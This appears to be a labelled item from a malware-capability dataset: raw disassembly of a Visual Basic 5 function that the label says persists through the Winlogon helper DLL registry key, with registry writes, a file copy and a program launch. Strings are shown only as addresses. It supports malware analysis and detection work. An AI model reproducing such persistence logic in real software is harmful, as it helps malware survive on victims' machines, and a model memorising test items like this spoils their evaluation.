Function at 0x430ff0
Capabilities:
Persist via winlogon helper dll registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x402666
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1d0
push ebx
push esi
push edi
mov dword [ebp - 8], esp
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x18c], eax
mov dword [ebp - 0x190], eax
lea eax, [ebp - 0x5c]
push 0x40f684
push eax
mov dword [ebp - 4], 0x4022c0
call dword [sym.imp.MSVBVM50.DLL___vbaAryConstruct]
fld dword [0x43c064]
fcomp dword [0x401ff4]
fnstsw ax
test ah, 1
jne 0x432d69
mov esi, dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
mov edx, 0x410330
lea ecx, [ebp - 0x68]
call esi
mov edx, dword [ebp - 0x68]
mov edi, dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
lea ecx, [ebp - 0x18]
lea eax, [ebp - 0x7c]
push ecx
push 0x3f
push 0
push edx
push eax
call edi
push eax
push 0x80000002
call fcn.00409d90
mov dword [ebp - 0x18c], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x7c]
lea edx, [ebp - 0x68]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov eax, dword [ebp - 0x18c]
mov ebx, dword [sym.imp.MSVBVM50.DLL___vbaFreeStr]
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x34], eax
call ebx
cmp dword [ebp - 0x34], 5
jne 0x4311a4
mov edx, dword [ebp - 0x68]
lea ecx, [ebp - 0x18]
push ecx
push 0x20019
push 0
lea eax, [ebp - 0x7c]
push edx
push eax
call edi
push eax
push 0x80000002
call fcn.00409d90
mov dword [ebp - 0x18c], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x7c]
lea edx, [ebp - 0x68]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov eax, dword [ebp - 0x18c]
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x34], eax
call ebx
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x432ceb
mov edx, 0x4103a0
lea ecx, [ebp - 0x14]
call esi
mov edx, 0x4101d8
lea ecx, [ebp - 0x24]
call esi
push 0xff
call dword [sym.imp.MSVBVM50.DLL_rtcSpaceBstr]
mov esi, dword [sym.imp.MSVBVM50.DLL___vbaStrMove]
mov edx, eax
lea ecx, [ebp - 0x44]
call esi
mov ecx, dword [ebp - 0x44]
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaLenBstr]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x44]
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x80]
push edx
push eax
push ecx
mov dword [ebp - 0x18c], 1
call edi
lea edx, [ebp - 0x18c]
push eax
mov eax, dword [ebp - 0x14]
push edx
push 0
lea ecx, [ebp - 0x7c]
push eax
push ecx
call edi
mov edx, dword [ebp - 0x18]
push eax
push edx
call fcn.00409dd4
mov dword [ebp - 0x190], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov eax, dword [ebp - 0x7c]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov edx, dword [ebp - 0x80]
lea eax, [ebp - 0x44]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov ecx, dword [ebp - 0x190]
lea edx, [ebp - 0x80]
lea eax, [ebp - 0x7c]
push edx
push eax
push 2
mov dword [ebp - 0x34], ecx
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
mov eax, dword [ebp - 0x34]
add esp, 0xc
test eax, eax
jne 0x432c70
mov ecx, dword [ebp - 0x44]
lea edx, [ebp - 0xa8]
push 0
push edx
mov dword [ebp - 0x140], ecx
mov dword [ebp - 0x148], 8
call dword [sym.imp.MSVBVM50.DLL_rtcVarBstrFromAnsi]
lea eax, [ebp - 0x44]
lea ecx, [ebp - 0x148]
push 1
lea edx, [ebp - 0xa8]
mov dword [ebp - 0x160], eax
push ecx
push edx
lea eax, [ebp - 0xb8]
push 0
push eax
mov dword [ebp - 0x150], 1
mov dword [ebp - 0x158], 2
mov dword [ebp - 0x168], 0x4008
call dword [sym.imp.MSVBVM50.DLL___vbaInStrVar]
lea ecx, [ebp - 0x158]
push eax
lea edx, [ebp - 0xc8]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaVarSub]
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaI4Var]
push eax
lea eax, [ebp - 0x168]
lea ecx, [ebp - 0xd8]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL_rtcLeftCharVar]
lea edx, [ebp - 0xd8]
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x44]
call esi
lea eax, [ebp - 0xd8]
lea ecx, [ebp - 0xb8]
push eax
lea edx, [ebp - 0xa8]
push ecx
push edx
push 3
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVarList]
mov eax, dword [ebp + 8]
add esp, 0x10
cmp word [eax], 0
jne 0x4321c1
lea edx, [ebp - 0x148]
lea eax, [ebp - 0xa8]
lea ecx, [ebp - 0x44]
push edx
push eax
mov dword [ebp - 0x140], ecx
mov dword [ebp - 0x148], 0x4008
call dword [sym.imp.MSVBVM50.DLL_rtcUpperCaseVar]
mov eax, dword [0x43c7d4]
test eax, eax
jne 0x431387
push 0x43c7d4
push 0x40ab54
call dword [sym.imp.MSVBVM50.DLL___vbaNew2]
mov edi, dword [0x43c7d4]
lea edx, [ebp - 0x98]
push edx
push edi
mov ecx, dword [edi]
call dword [ecx + 0x14]
test eax, eax
jge 0x4313ad
push 0x14
push 0x40ab44
push edi
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaHresultCheckObj]
mov eax, dword [ebp - 0x98]
lea edx, [ebp - 0x7c]
push edx
push eax
mov ecx, dword [eax]
mov edi, eax
call dword [ecx + 0x58]
test eax, eax
jge 0x4313d2
push 0x58
push 0x40ad40
push edi
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaHresultCheckObj]
mov eax, dword [ebp - 0x7c]
lea ecx, [ebp - 0xc8]
mov dword [ebp - 0xb0], eax
lea eax, [ebp - 0xb8]
push eax
push ecx
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0xb8], 8
call dword [sym.imp.MSVBVM50.DLL_rtcUpperCaseVar]
lea edx, [ebp - 0xa8]
push 1
lea eax, [ebp - 0xc8]
push edx
push eax
lea ecx, [ebp - 0xd8]
push 0
push ecx
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x158], 0x8002
call dword [sym.imp.MSVBVM50.DLL___vbaInStrVar]
lea edx, [ebp - 0x158]
push eax
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaVarTstEq]
lea ecx, [ebp - 0x98]
mov edi, eax
call dword [sym.imp.MSVBVM50.DLL___vbaFreeObj]
lea eax, [ebp - 0xd8]
lea ecx, [ebp - 0xa8]
push eax
lea edx, [ebp - 0xc8]
push ecx
lea eax, [ebp - 0xb8]
push edx
push eax
push 4
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVarList]
add esp, 0x14
test di, di
je 0x432d75
mov eax, 0x80020004
mov ecx, 0xa
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xb8], ecx
mov dword [ebp - 0xa8], ecx
mov eax, 0x4008
lea ecx, [ebp - 0xb8]
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x148], eax
lea edx, [ebp - 0xa8]
push ecx
lea eax, [ebp - 0x158]
push edx
push eax
lea ecx, [ebp - 0x148]
push 0x44
push ecx
mov dword [ebp - 0x150], 0x43c05c
mov dword [ebp - 0x140], 0x43c078
call dword [sym.imp.MSVBVM50.DLL_rtcMsgBox]
xor edx, edx
cmp eax, 6
lea eax, [ebp - 0xb8]
lea ecx, [ebp - 0xa8]
sete dl
push eax
push ecx
neg edx
push 2
mov di, dx
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVarList]
add esp, 0xc
test di, di
push 0x40e888
je 0x43219a
mov edi, dword [sym.imp.MSVBVM50.DLL___vbaStrCat]
push 0x40e948
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea edx, [ebp - 0x7c]
push edx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
mov eax, dword [ebp - 0x44]
push 0x40e8f0
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
push eax
push 0x40e934
call edi
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
push eax
call fcn.0042de10
mov edx, eax
lea ecx, [ebp - 0x84]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x88]
call esi
lea ecx, [ebp - 0x88]
push ecx
call fcn.004305c0
lea edx, [ebp - 0x88]
lea eax, [ebp - 0x84]
push edx
lea ecx, [ebp - 0x80]
push eax
lea edx, [ebp - 0x7c]
push ecx
push edx
push 4
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
fld dword [0x401ff8]
add esp, 0x14
call dword [sym.imp.MSVBVM50.DLL___vbaFpR4]
fcomp dword [0x43c064]
fnstsw ax
test ah, 1
jne 0x4315dd
mov eax, dword [0x43c054]
push eax
push 0x4103b0
call edi
mov edx, eax
lea ecx, [ebp - 0x24]
call esi
jmp 0x4317b7
mov edx, 0x4103b0
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
lea edx, [ebp - 0x148]
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0x140], 0x40ada0
mov dword [ebp - 0x148], 8
call dword [sym.imp.MSVBVM50.DLL___vbaVarDup]
lea ecx, [ebp - 0xa8]
lea edx, [ebp - 0xb8]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL_rtcEnvironVar]
lea eax, [ebp - 0xb8]
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea ecx, [ebp - 0x7c]
push ecx
call fcn.00439760
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
mov edx, dword [ebp - 0x24]
push eax
push edx
call edi
mov edx, eax
lea ecx, [ebp - 0x38]
call esi
lea eax, [ebp - 0x80]
lea ecx, [ebp - 0x7c]
push eax
push ecx
push 2
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
add esp, 0xc
lea edx, [ebp - 0xb8]
lea eax, [ebp - 0xa8]
push edx
push eax
push 2
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVarList]
add esp, 0xc
lea edx, [ebp - 0x148]
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x148], 0x4008
push 0
push edx
mov dword [ebp - 0x140], ecx
call dword [sym.imp.MSVBVM50.DLL_rtcDir]
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaLenBstr]
neg eax
sbb eax, eax
lea ecx, [ebp - 0x7c]
inc eax
neg eax
mov word [ebp - 0x1a0], ax
call ebx
cmp word [ebp - 0x1a0], 0
je 0x431797
mov eax, dword [ebp - 0x38]
push 0x4103d0
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
push eax
push 0x40b0ac
call edi
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
lea ecx, [ebp - 0x80]
push ecx
call fcn.004305c0
lea edx, [ebp - 0x80]
lea eax, [ebp - 0x7c]
push edx
push eax
push 2
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
mov ecx, dword [ebp - 0x38]
add esp, 0xc
push ecx
push 0x410404
call dword [sym.imp.MSVBVM50.DLL_rtcFileCopy]
call dword [sym.imp.MSVBVM50.DLL_rtcDoEvents]
lea eax, [ebp - 0x148]
lea edx, [ebp - 0x38]
push 0
push eax
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x148], 0x4008
call dword [sym.imp.MSVBVM50.DLL_rtcDir]
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaLenBstr]
neg eax
sbb eax, eax
lea ecx, [ebp - 0x7c]
inc eax
neg eax
mov word [ebp - 0x1a0], ax
call ebx
cmp word [ebp - 0x1a0], 0
je 0x431783
mov edx, 0x40b400
lea ecx, [ebp - 0x7c]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
jmp 0x4317a9
mov edx, 0x40b41c
lea ecx, [ebp - 0x7c]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
lea edx, [ebp - 0x7c]
push edx
jmp 0x4317ad
mov eax, dword [ebp - 0x38]
push eax
push 0x41044c
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea ecx, [ebp - 0x7c]
push ecx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaLenBstr]
add eax, 1
lea ecx, [ebp - 0x80]
jo 0x435277
push eax
mov eax, dword [ebp - 0x24]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov edx, dword [ebp - 0x14]
push eax
push 1
push 0
lea eax, [ebp - 0x7c]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov ecx, dword [ebp - 0x18]
push eax
push ecx
call fcn.00409e8c
mov dword [ebp - 0x18c], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov edx, dword [ebp - 0x7c]
lea eax, [ebp - 0x14]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov ecx, dword [ebp - 0x80]
lea edx, [ebp - 0x24]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov eax, dword [ebp - 0x18c]
lea ecx, [ebp - 0x80]
lea edx, [ebp - 0x7c]
push ecx
push edx
push 2
mov dword [ebp - 0x34], eax
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
mov eax, dword [ebp - 0x34]
add esp, 0xc
test eax, eax
jne 0x43207a
call fcn.0042dd10
test ax, ax
je 0x431d37
lea eax, [ebp - 0xa8]
mov dword [ebp - 0xa0], 0x80020004
push eax
mov dword [ebp - 0xa8], 0xa
call dword [sym.imp.MSVBVM50.DLL_rtcFreeFile]
lea ecx, [ebp - 0xa8]
mov ebx, eax
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVar]
mov ecx, dword [0x43c054]
push ecx
push 0x410470
call edi
mov edx, eax
lea ecx, [ebp - 0x60]
call esi
mov edx, dword [ebp - 0x60]
push edx
push ebx
push 0xffffffffffffffff
push 2
call dword [sym.imp.MSVBVM50.DLL___vbaFileOpen]
push 0x410490
push ebx
push 0x40c15c
call dword [sym.imp.MSVBVM50.DLL___vbaPrintFile]
add esp, 0xc
push ebx
push 0x4104e0
call dword [sym.imp.MSVBVM50.DLL___vbaPrintFile]
mov eax, dword [ebp - 0x68]
add esp, 8
push 0x4104e8
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
push eax
push 0x40b770
call edi
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
push eax
push ebx
push 0x40c15c
call dword [sym.imp.MSVBVM50.DLL___vbaPrintFile]
add esp, 0xc
lea ecx, [ebp - 0x80]
lea edx, [ebp - 0x7c]
push ecx
push edx
push 2
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
add esp, 0xc
lea edx, [ebp - 0x148]
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0x140], 0x40b7b0
mov dword [ebp - 0x148], 8
call dword [sym.imp.MSVBVM50.DLL___vbaVarDup]
lea eax, [ebp - 0xa8]
lea ecx, [ebp - 0x24]
push eax
lea edx, [ebp - 0xb8]
push ecx
push edx
call fcn.00437ec0
lea edx, [ebp - 0xb8]
lea ecx, [ebp - 0x78]
call dword [sym.imp.MSVBVM50.DLL___vbaVarMove]
lea ecx, [ebp - 0xa8]
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVar]
xor eax, eax
sub esp, 0x10
mov edx, esp
mov ecx, 2
mov dword [ebp - 0x148], ecx
mov dword [ebp - 0x140], eax
mov dword [edx], ecx
mov ecx, dword [ebp - 0x144]
mov dword [edx + 4], ecx
mov dword [edx + 8], eax
mov eax, dword [ebp - 0x13c]
lea ecx, [ebp - 0x78]
push 1
mov dword [edx + 0xc], eax
lea edx, [ebp - 0xa8]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaVarIndexLoad]
add esp, 0x1c
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x38]
call esi
lea ecx, [ebp - 0xa8]
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVar]
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaRefVarAry]
mov ecx, dword [eax]
push ecx
push 1
call dword [sym.imp.MSVBVM50.DLL___vbaUbound]
mov ecx, eax
call dword [sym.imp.MSVBVM50.DLL___vbaI2I4]
mov dword [ebp - 0x1b8], eax
mov eax, 1
cmp ax, word [ebp - 0x1b8]
mov dword [ebp - 0x1c], eax
jg 0x431ab4
mov edx, dword [ebp - 0x38]
push edx
push 0x40b7a4
call edi
lea edx, [ebp - 0xa8]
mov ecx, 0x4002
push edx
mov dword [ebp - 0x148], ecx
sub esp, 0x10
mov dword [ebp - 0xa0], eax
mov edx, esp
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x140], eax
push 1
mov dword [edx], ecx
mov ecx, dword [ebp - 0x144]
mov dword [ebp - 0xa8], 8
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x78]
push ecx
mov dword [edx + 8], eax
mov eax, dword [ebp - 0x13c]
mov dword [edx + 0xc], eax
lea edx, [ebp - 0xb8]
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaVarIndexLoad]
add esp, 0x1c
push eax
lea eax, [ebp - 0xc8]
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaVarCat]
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x38]
call esi
lea ecx, [ebp - 0xc8]
lea edx, [ebp - 0xb8]
push ecx
lea eax, [ebp - 0xa8]
push edx
push eax
push 3
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVarList]
mov eax, 1
add esp, 0x10
add ax, word [ebp - 0x1c]
jo 0x435277
jmp 0x4319ec
lea ecx, [ebp - 0xa8]
push 0x22
push ecx
call dword [sym.imp.MSVBVM50.DLL_rtcVarBstrFromAnsi]
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0xc8]
push 0x22
push eax
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x148], 8
call dword [sym.imp.MSVBVM50.DLL_rtcVarBstrFromAnsi]
lea ecx, [ebp - 0xf8]
push 0x22
push ecx
mov dword [ebp - 0x150], 0x410518
mov dword [ebp - 0x158], 8
call dword [sym.imp.MSVBVM50.DLL_rtcVarBstrFromAnsi]
mov edx, dword [ebp - 0x38]
lea eax, [ebp - 0x128]
push 0x22
push eax
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x168], 8
call dword [sym.imp.MSVBVM50.DLL_rtcVarBstrFromAnsi]
lea ecx, [ebp - 0xa8]
lea edx, [ebp - 0x148]
push ecx
lea eax, [ebp - 0xb8]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaVarCat]
lea ecx, [ebp - 0xc8]
push eax
lea edx, [ebp - 0xd8]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaVarCat]
push eax
lea eax, [ebp - 0x158]
lea ecx, [ebp - 0xe8]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaVarCat]
push eax
lea edx, [ebp - 0xf8]
lea eax, [ebp - 0x108]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaVarCat]
lea ecx, [ebp - 0x168]
push eax
lea edx, [ebp - 0x118]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaVarCat]
push eax
lea eax, [ebp - 0x128]
lea ecx, [ebp - 0x138]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaVarCat]
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x38]
call esi
lea edx, [ebp - 0x138]
lea eax, [ebp - 0x128]
push edx
lea ecx, [ebp - 0x118]
push eax
lea edx, [ebp - 0x108]
push ecx
lea eax, [ebp - 0xf8]
push edx
lea ecx, [ebp - 0xe8]
push eax
lea edx, [ebp - 0xd8]
push ecx
push edx
lea eax, [ebp - 0xc8]
lea ecx, [ebp - 0xb8]
push eax
lea edx, [ebp - 0xa8]
push ecx
push edx
push 0xa
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVarList]
mov eax, dword [ebp - 0x38]
add esp, 0x2c
push eax
push ebx
push 0x40c15c
call dword [sym.imp.MSVBVM50.DLL___vbaPrintFile]
add esp, 0xc
push ebx
call dword [sym.imp.MSVBVM50.DLL___vbaFileClose]
call dword [sym.imp.MSVBVM50.DLL_rtcDoEvents]
lea edx, [ebp - 0x148]
lea ecx, [ebp - 0x60]
push 0x20
push edx
mov dword [ebp - 0x140], ecx
mov dword [ebp - 0x148], 0x4008
call dword [sym.imp.MSVBVM50.DLL_rtcDir]
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaLenBstr]
mov ebx, eax
lea ecx, [ebp - 0x7c]
neg ebx
sbb ebx, ebx
inc ebx
neg ebx
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStr]
test bx, bx
je 0x431c9d
mov eax, dword [ebp - 0x60]
push eax
push 0x410520
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea ecx, [ebp - 0x7c]
push ecx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStr]
jmp 0x431d31
mov edx, dword [ebp - 0x60]
push edx
push 0x41053c
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea eax, [ebp - 0x7c]
push eax
call fcn.004305c0
mov ebx, dword [sym.imp.MSVBVM50.DLL___vbaFreeStr]
lea ecx, [ebp - 0x7c]
call ebx
mov ecx, dword [ebp - 0x60]
push 0x4105a0
push ecx
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
push eax
push 0x4105bc
call edi
lea edx, [ebp - 0xa8]
push 0
push edx
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xa8], 8
call dword [sym.imp.MSVBVM50.DLL_rtcShell]
lea ecx, [ebp - 0x7c]
fstp st(0)
call ebx
lea ecx, [ebp - 0xa8]
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVar]
call dword [sym.imp.MSVBVM50.DLL_rtcDoEvents]
mov edx, 0x4105d4
lea ecx, [ebp - 0x7c]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
lea eax, [ebp - 0x7c]
push eax
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
mov ebx, dword [sym.imp.MSVBVM50.DLL___vbaFreeStr]
lea ecx, [ebp - 0xa8]
push 0xff
push ecx
call dword [sym.imp.MSVBVM50.DLL_rtcSpaceVar]
lea edx, [ebp - 0xa8]
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x44]
call esi
lea ecx, [ebp - 0xa8]
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVar]
mov eax, dword [ebp - 0x44]
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaLenBstr]
mov edx, dword [ebp - 0x44]
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], eax
push ecx
lea eax, [ebp - 0x80]
push edx
push eax
mov dword [ebp - 0x18c], 1
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18c]
push eax
push ecx
push 0
lea eax, [ebp - 0x7c]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov ecx, dword [ebp - 0x18]
push eax
push ecx
call fcn.00409dd4
mov dword [ebp - 0x190], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov edx, dword [ebp - 0x7c]
lea eax, [ebp - 0x14]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov ecx, dword [ebp - 0x80]
lea edx, [ebp - 0x44]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov eax, dword [ebp - 0x190]
lea ecx, [ebp - 0x80]
lea edx, [ebp - 0x7c]
push ecx
push edx
push 2
mov dword [ebp - 0x34], eax
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
mov eax, dword [ebp - 0x34]
add esp, 0xc
test eax, eax
jne 0x432065
mov eax, dword [ebp - 0x44]
lea ecx, [ebp - 0xa8]
push 0
push ecx
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x148], 8
call dword [sym.imp.MSVBVM50.DLL_rtcVarBstrFromAnsi]
lea edx, [ebp - 0x44]
lea eax, [ebp - 0x148]
push 1
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0x160], edx
push eax
push ecx
lea edx, [ebp - 0xb8]
push 0
push edx
mov dword [ebp - 0x150], 1
mov dword [ebp - 0x158], 2
mov dword [ebp - 0x168], 0x4008
call dword [sym.imp.MSVBVM50.DLL___vbaInStrVar]
push eax
lea eax, [ebp - 0x158]
lea ecx, [ebp - 0xc8]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaVarSub]
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaI4Var]
push eax
lea edx, [ebp - 0x168]
lea eax, [ebp - 0xd8]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL_rtcLeftCharVar]
lea ecx, [ebp - 0xd8]
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x44]
call esi
lea edx, [ebp - 0xd8]
lea eax, [ebp - 0xb8]
push edx
lea ecx, [ebp - 0xa8]
push eax
push ecx
push 3
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVarList]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x24]
add esp, 0x10
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrCmp]
test eax, eax
jne 0x432029
push 0x40e888
push 0x410604
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea ecx, [ebp - 0x7c]
push ecx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
mov edx, dword [0x43c07c]
mov eax, 0x80020004
mov ecx, 0xa
push edx
push 0x40a2d4
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xc8], ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xb8], ecx
mov dword [ebp - 0x140], 0x43c05c
mov dword [ebp - 0x148], 0x4008
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
push eax
push 0x40a2d4
call edi
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
push eax
mov eax, dword [0x43c084]
push eax
call edi
lea ecx, [ebp - 0xc8]
mov dword [ebp - 0xa0], eax
lea edx, [ebp - 0xb8]
push ecx
lea eax, [ebp - 0x148]
push edx
push eax
lea ecx, [ebp - 0xa8]
jmp [edx + 0x24]
push ecx
mov dword [ebp - 0xa8], 8
call dword [sym.imp.MSVBVM50.DLL_rtcMsgBox]
xor edx, edx
cmp eax, 6
lea eax, [ebp - 0x80]
lea ecx, [ebp - 0x7c]
sete dl
push eax
push ecx
neg edx
push 2
mov word [ebp - 0x1a0], dx
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
add esp, 0xc
lea edx, [ebp - 0xc8]
lea eax, [ebp - 0xb8]
lea ecx, [ebp - 0xa8]
push edx
push eax
push ecx
push 3
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVarList]
add esp, 0x10
cmp word [ebp - 0x1a0], 0
push 0x40e888
je 0x432008
push 0x40e20c
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea edx, [ebp - 0x7c]
push edx
jmp 0x43293d
push 0x40e974
call edi
